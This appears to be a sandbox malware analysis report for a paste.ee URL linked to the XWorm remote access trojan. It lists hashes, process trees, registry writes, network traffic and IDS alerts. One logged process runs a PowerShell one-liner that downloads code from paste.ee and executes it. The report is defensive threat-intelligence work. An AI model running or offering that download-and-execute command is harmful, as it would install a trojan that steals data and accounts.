| URL: | paste.ee/r/ArfWCTe |
| Full analysis: | https://app.any.run/tasks/6a528fe2-751c-4c9d-987d-656a2f722ceb |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | April 28, 2025, 10:07:39 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 1E98BF633315F09D946C78C9594B9F4C |
| SHA1: | 321B4A73D9A0977D6BEFF5CA494E09ECD47418E5 |
| SHA256: | F9B675ED9596A8EEA3C341173C22E333A084BC8FFD75119663F15848E5402F2C |
| SSDEEP: | 3:3ykTyX:Y |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 896 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=3976 --field-trial-handle=2328,i,13066086706040998590,11693591692948223764,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1004 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5856 --field-trial-handle=2328,i,13066086706040998590,11693591692948223764,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1096 | "C:\Users\admin\AppData\Local\Temp\olaejyo4.1vc.exe" | C:\Users\admin\AppData\Local\Temp\olaejyo4.1vc.exe | — | SVeY4Q70.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
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| 1184 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" "irm paste.ee/r/ArfWCTe8 | iex" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 3221225786 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1196 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --no-appcompat-clear --mojo-platform-channel-handle=3832 --field-trial-handle=2364,i,8913065854090188105,10323108072445003482,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1276 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "paste.ee/r/ArfWCTe" | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1348 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5240 --field-trial-handle=2328,i,13066086706040998590,11693591692948223764,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1616 | "C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4788 --field-trial-handle=2328,i,13066086706040998590,11693591692948223764,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: PWA Identity Proxy Host Exit code: 0 Version: 122.0.2365.59 Modules
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| 1616 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1616 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5992 --field-trial-handle=2328,i,13066086706040998590,11693591692948223764,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 404376236A922F00 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 136481236A922F00 | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\262774 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {1B9A3AFB-C639-4A0F-9E5D-6CA6D21008C7} | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\262774 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {EB37EC87-0BF3-4448-BAB7-B9E45F5DE41C} | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A |
Value: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start | |||
| (PID) Process: | (1276) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 7DBFBF236A922F00 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF10b74c.TMP | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF10b74c.TMP | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF10b74c.TMP | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF10b74c.TMP | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF10b74c.TMP | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 1276 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.32.238.112:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4696 | svchost.exe | GET | 206 | 2.16.168.106:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/50e88772-cc40-420e-972f-b87fb61970c8?P1=1746436385&P2=404&P3=2&P4=L2wqaiisHW1ZbETO%2bW7GLMPYDqEDYytIipladbzhp2eqZpyX5%2fg9%2brFQC7dXe9ZZqSWrAlXfoIoAdeDhapa7kw%3d%3d | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
5512 | powershell.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/r/ArfWCTe8 | unknown | — | — | shared |
4696 | svchost.exe | HEAD | 200 | 2.16.168.106:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/50e88772-cc40-420e-972f-b87fb61970c8?P1=1746436385&P2=404&P3=2&P4=L2wqaiisHW1ZbETO%2bW7GLMPYDqEDYytIipladbzhp2eqZpyX5%2fg9%2brFQC7dXe9ZZqSWrAlXfoIoAdeDhapa7kw%3d%3d | unknown | — | — | whitelisted |
2340 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2340 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 23.32.238.112:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1276 | msedge.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
7360 | msedge.exe | 13.107.42.16:443 | config.edge.skype.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7360 | msedge.exe | 150.171.30.11:443 | edge.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7360 | msedge.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
paste.ee |
| shared |
edge.microsoft.com |
| whitelisted |
business.bing.com |
| whitelisted |
edge-mobile-static.azureedge.net |
| whitelisted |
bzib.nelreports.net |
| whitelisted |
client.wns.windows.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
7360 | msedge.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7360 | msedge.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7360 | msedge.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7360 | msedge.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7360 | msedge.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
5512 | powershell.exe | Potentially Bad Traffic | ET HUNTING Powershell Request for paste .ee Page |
5512 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
5512 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
5512 | powershell.exe | Potentially Bad Traffic | ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI) |